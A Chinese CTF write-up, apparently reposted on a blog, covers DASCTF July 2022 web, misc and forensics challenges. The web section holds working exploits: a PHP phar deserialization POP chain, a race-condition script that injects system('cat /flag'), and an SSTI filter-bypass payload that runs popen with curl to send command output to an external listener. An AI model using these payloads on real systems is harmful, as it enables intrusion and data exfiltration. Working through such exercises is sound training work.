DASCTF部分复现
DASCTF|2022DASCTF7月赋能赛官方Write Up
WEB
Ez to getflag
非预期直接/flag
预期
打开页面发现页面有读取和上传功能,读取页面可以直接获取源码,把源码扒下来
代码审计,先看到实现文件读取功能的代码,class.php中的Show类的show方法
public function show(){if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {die('illegal fname :P');} else {echo file_get_contents($this->source);$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));echo "<img src={$src} />";}
}
这里的过滤没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化,又看到Show类里还有个backdoor方法,可以进行文件包含,基本确定最终是要调用这个方法
public function backdoor($door){include($door);echo "hacked!!";
}
审计实现文件上传功能的代码,class.php中的Upload类为文件上传的实现class Upload {public $f;public $fname;public $fsize;function __construct(){$this->f = $_FILES;}function savefile() { $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname);}move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); echo "upload success! :D"; } function __toString(){$cont = $this->fname;$size = $this->fsize;echo $cont->$size;return 'this_is_upload';}function uploadfile() { if($this->file_check()) { $this->savefile(); } }function file_check() { $allowed_types = array("png");$temp = explode(".",$this->f["file"]["name"]);$extension = end($temp); if(empty($extension)) { echo "what are you uploaded? :0";return false;}else{ if(in_array($extension,$allowed_types)) {$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';$f = file_get_contents($this->f["file"]["tmp_name"]);if(preg_match_all($filter,$f)){echo 'what are you doing!! :C';return false;}return true; } else { echo 'png onlyyy! XP'; return false; } }}}
看到文件上传之后在存储到upload目录之前调用file_check进行了过滤,文件后缀限制为png,并且对文件内容进行了检查,不允许以下内容出现
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去
file_check执行完后才又调用了savefile,把文件存储在upload目录并更名为原文件名的md5值
构造pop链
<?php
class Upload{public $fname;public $fsize;
}
class Show{public $source;
}
class Test{public $str;
}$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
压缩为gzip压缩包并改后缀名上传该phar文件 利用php的session上传进度以及文件上传的条件竞争进行文件包含 编写python脚本进行文件包含,脚本如下
import sys,threading,requests,re
from hashlib import md5HOST = sys.argv[1]
PORT = sys.argv[2]flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):global check,flagwhile check:fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'params = {'f': 'phar://upload/'+fname}res = s.get(url=fileurl, params=params)if "working" in res.text:flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]check = False# 利用session.upload.progress写入临时文件def sess_upload(url,s):global checkwhile check:data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"}cookies={'PHPSESSID': 'chaaa'}files={'file': ('chaaa.png', b'cha'*300)}s.post(url=url,data=data,cookies=cookies,files=files)def exp(ip, port):url = "http://"+ip+":"+port+"/"fileurl = url+'file.php'uploadurl = url+'upload.php'num = threading.active_count()# 上传phar文件file = {'file': open('./shell.png', 'rb')}ret = requests.post(url=uploadurl, files=file)# 文件上传条件竞争获取flagevent=threading.Event()s1 = requests.Session()s2 = requests.Session()for i in range(1,10):threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()for i in range(1,10):threading.Thread(target=include,args=(fileurl,s2,)).start()event.set()while threading.active_count() != num:passif __name__ == '__main__':exp(HOST, PORT)print(flag)
Harddisk
题目是一个输入框
经测试,存在 SSTI 注入,但是过滤的很严,fuzz一下
}}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
过滤了大括号 {{,我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。
由于还过滤了像 ]、_、request 这类常用的字符和关键字,我们可以用 attr() 配合 unicode 编码的方法绕过,类似如下:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%} # {%if("".__class__)%}success{%endif%}
确定了bypass的方法,下面我们就要寻找可以执行命令的类了,这里我们寻找含有 “popen” 方法的类遍历脚本:
import requestsheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}for i in range(500):url = "http://your-ip:8081/"payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}res = requests.post(url=url, headers=headers, data=payload)if 'success' in res.text:print(i)# 输出: 133
找到第133个子类含有 “popen” 方法,然后构造payload执行命令看看根目录里的文件:
{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"").read())%}success{%endif%} -->>
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"")|attr("read")())%}success{%endif%} -->>
# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"
改一ip但我没拦截出来可能服务器被关了,用官方的截图
vps上开启监听:
发送 payload 后,vps上成功接收到了执行结果
读取flag:
{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"").read())%}success{%endif%}
-->>
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"")|attr("read")())%}success{%endif%} -->>
# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`cat /f1agggghere`\"
MISC
Colorful Strips
放到stegsolve发现有看到杂乱的像素点:说明这些区域必然存在内容,但因为JPEG是有损压缩,其算法导致无法从渲染后的像素RGB颜色中准确还原原始内容。
用脚本处理一下
from turbojpeg import TurboJPEG
from PIL import Imagejpeg = TurboJPEG()in_file = open('flag.jpg', 'rb')
buffer_array, plane_sizes = jpeg.decode_to_yuv(in_file.read())
in_file.close()img = Image.new('RGB', (900, 900))
for y in range(900):for x in range(900):i = y * 900 + ximg.putpixel((x, y), (buffer_array[i], buffer_array[i+810000], buffer_array[i+1620000]))
img.save('res.png')
ez_forensics
下载附件得到一个pc.vmdk文件和一个pc.raw文件,一个是磁盘文件一个是内存文件。首先利用FTK挂载一下vmdk文件,得到加密的磁盘
再去看raw文件
volatility -f pc.raw imageinfo 查看镜像信息
volatility -f pc.raw --profile=Win7SP1x64 pstree 查看进程
根据进程里的cmd.exe,cmdscan看看命令行输入了什 么
volatility -f pc.raw --profile=Win7SP1x64 cmdscan
说有一个特殊的截屏,去找截屏
volatility -f pc.raw --profile=Win7SP1x64 screenshot -D ./
可以发现桌面上打开过一个文件,看文件名可知是一个关键文件:thes3cret
尝试filescan一下这个文件
volatility -f pc.raw --profile=Win7SP1x64 filescan | grep thes3cret
然后dumpfiles出来
volatility -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./
提取出来发现是一个文本文件看着像base64解密一下
解密后发现是salted开头,应该是aes,再去pc.raw找key,先用disgenius挂载,发现有bitlocker加密
再用ftk挂载
用EFDD解密
这个是.raw文件,解密成功得到key
用diskgenius解密
得到两个文件flag.txt里没有东西,看zip里的东西,有一个png文件,发现里面有zip将它提出来
发现有密码还有一段注释,说在电脑用户登录密码
再去pc.raw找密码
volatility -f pc.raw --profile=Win7SP1x64 mimikatz
得到密码解开压缩包得到一串8进制转换一下
key就是我们的aes的key解密得到flag
听说你是个侦探
直接文件名异或
hex1 = "7955d0e35c55b93c6aac27879130ae894d30b9180b0579bb0a4339d543aa6b"
hex2 = "1826b3973a2ec0531fd246f5f41defa42e51cb7d6d7015e45a2656a52fcf16"a = bytes.fromhex(hex1)
b = bytes.fromhex(hex2)print(bytes([i ^ j for i,j in zip(a,b)]))#asctf{you~are-A-careful_People}
哆来咪发唆拉西哆
得到一个音谱,看不懂,binwalk一下
得到一串数字看不懂
继续查看pdf本身,发现有关键字
因为whatisthis里头的数字,有的很大,我们尝试生成一个小数点长度在10000的圆周率出来,看看能得到什么,圆周率生成的脚本用的是下面这个网址的大佬的脚本
【python圆周率计算】python计算圆周率π的值到任意位_东华果汁哥的博客-CSDN博客_python圆周率代码
拿星爷的脚本
# -*- coding: utf-8 -*-
from __future__ import division
from array import array
from tqdm import tqdm
import time
# 圆周率生成脚本来自 https://blog.csdn.net/u013421629/article/details/72640062
def makepi(number):time1=time.time()################算法根据马青公式计算圆周率##################### number = int(raw_input('请输入想要计算到小数点后的位数n:'))# number=10000+30# 多计算10位,防止尾数取舍的影响number1 = number+10# 算到小数点后number1位b = 10**number1# 求含4/5的首项x1 = b*4//5# 求含1/239的首项x2 = b// -239# 求第一大项he = x1+x2#设置下面循环的终点,即共计算n项number *= 2#循环初值=3,末值2n,步长=2for i in tqdm(range(3,number,2)):# 求每个含1/5的项及符号x1 //= -25# 求每个含1/239的项及符号x2 //= -57121# 求两项之和x = (x1+x2) // i# 求总和he += x# 求出πpai = he*4#舍掉后十位pai //= 10**10############ 输出圆周率π的值paistring=str(pai)result=paistring[0]+str('.')+paistring[1:len(paistring)]# print (result)# flag=result[-30:]# print('flag is DASCTF{{{}}}'.format(flag))# open('pi.txt','w').write(result)return result# makepi(10000)# 比较每组中相同的数,输出def diff(array:list,x:int):equals = ""array = list(map(int,array))for i in range(x):if ( (pi[array[0]:array[0]+i+1] == pi[array[1]:array[1]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[2]:array[2]+i+1]) & (pi[array[0]:array[0]+i+1] == pi[array[3]:array[3]+i+1])) :equals += (pi[array[0]:array[0]+i+1])else:return equals[len(equals)//2:]if __name__ == "__main__":from Crypto.Util.number import long_to_bytes# 获取pi前1万位pi = makepi(10000)# 把what is this中的数据按行读取arrays=[]with open('whatisthis.txt','r') as f:for line in f:arrays.append(list(line.replace(' ','')[1:-2].strip('\n').split(',')))# 将结果保存为图片f_jpg = open("flag.jpg",'wb')for i in tqdm(arrays):f_jpg.write(long_to_bytes(int(diff(i,10),10)))f_jpg.close()
得到一张图
可以知道flag是圆周率小数点后10000到10030位数字
p1=pi.makepi(10000+30) #根据提示,flag是pi的一万位后的30位
flag='DASCTF{{{}}}'.format(p1[-30:])
print(flag)
DASCTF{566722796619885782794848855834}
DASCTF部分复现相关推荐
- 世界杯来了,青春退役了
Argentina 若非好友提醒,都忘了2018世界杯就要开始了. 一周后的今晚,面对 阿根廷VS冰岛 的比赛,我又会想起那个遥远的意大利之夏. 经典回顾意大利之夏MV 马拉多纳世纪助攻,卡尼吉亚一剑 ...
- [DASCTF Apr.2023 X SU战队2023开局之战] crypto复现
感觉突然啥都不会了,后来拿到官方WP,也没整明白,这官方的WP没有代码只讲了些道理,复现一下也不容易. 1,easySign 这是个自制的签名题. from secret import r, t fr ...
- DASCTF Oct X 吉林工师_Misc_复现
DASCTF Oct X 吉林工师_Misc_复现 WELCOME DASCTFxJlenu giveyourflag 闯入魔塔的魔法少女 魔法秘文 不可以色色 魔法信息 英语不好的魔法少女 彁彁 魔 ...
- DASCTF x CBCTF 2022_Crypto复现
DASCTF x CBCTF 2022_Crypto复现 easySignin P r o b l e m Problem Problem A n a l y s i s Analysis Analy ...
- DASCTF安恒三月赛re部分复现
Drinksometea 题目给了exe和一个tea.png.out(加密完生成的文件),哇这个第一题做了我一天啊...已知是tea就卡在不会文件读写是真的难受住了呜呜呜呜 逻辑是很清晰的,Creat ...
- DASCTF Oct X 吉林工师-欢迎来到魔法世界-misc-魔法少女的迷音(复现)
打开需要密码解压,左边有提示,下面有个atom128 是加密方式 用bing搜索或者google搜索atom128,就能出来解码网站,,,别用百度.. 百度的搜索结果是这些玩意 复制上面密文进行解码 ...
- DASCTF九月挑战赛复现-web
web dino3d 进入题目先小玩一把 发现只要玩够这么多分就行,看看源码中的信息 在别的地方都没有信息,在一个js文件中好像有checkcode,进去看一下/js/build.min.js?pat ...
- [DASCTF 7月赛] 复现
ez_forenisc 获取内存镜像的摘要信息,比如系统版本: imageinfo 查看进程信息: pslist python2 vol.py -f pc.raw --profile=Win7SP1x ...
- DASCTF x SU 春季挑战赛
DASCTF x SU三月赛复现 0x01 MISC 月圆之夜 什么奇奇怪怪的东西 0x02 WEB ezpop calc upgdstore 0x01 MISC 月圆之夜 这个直接B站上就行,有专门 ...
最新文章
- Transferring GANs: generating images from limited data 论文学习
- 2017年10月31日结束Outlook 2007与Office 365的连接
- Tether销毁5亿USDT;BCH将于11月15日硬分叉,SV-Pool已向普通矿工开放
- 【转】在 Linux 平台下使用 JNI
- NUC972的BSP包的使用
- Intel Realsense D435 多摄像头配置 Multi-camera configurations (220)(官方测试的摄像头配置表【不同带宽下分辨率、帧率等】)
- 手把手教你实现基于LSTM的情感分析(LSTM-based Sentiment) Classification
- 个人成长:2021年7月记
- sql 某字段存储另一个表的多个id值并以逗号分隔,现根据id去中文并拼接同样以逗号分隔...
- install npm 到某个文件下执行_你可能不知道的 npm 依赖管理那些事
- 【LeetCode笔记】438. 找到字符串中所有字母异位词(Java、字符串、滑动窗口)
- java 正则 实例_Java正则表达式示例
- Java判断Class变量是什么类型
- Java并发(四)——synchronized、volatile
- python接口自动化(四十三)-公共模块 pymysql 连接mysql数据库(单独说明)
- Linux系统修改远程连接22端口
- 关于js里的那一堆事件
- SVN下载安装及入门使用教程,详细到不能再详细了
- 格式化U盘并测试读写速度
- 【华图教育】综合素质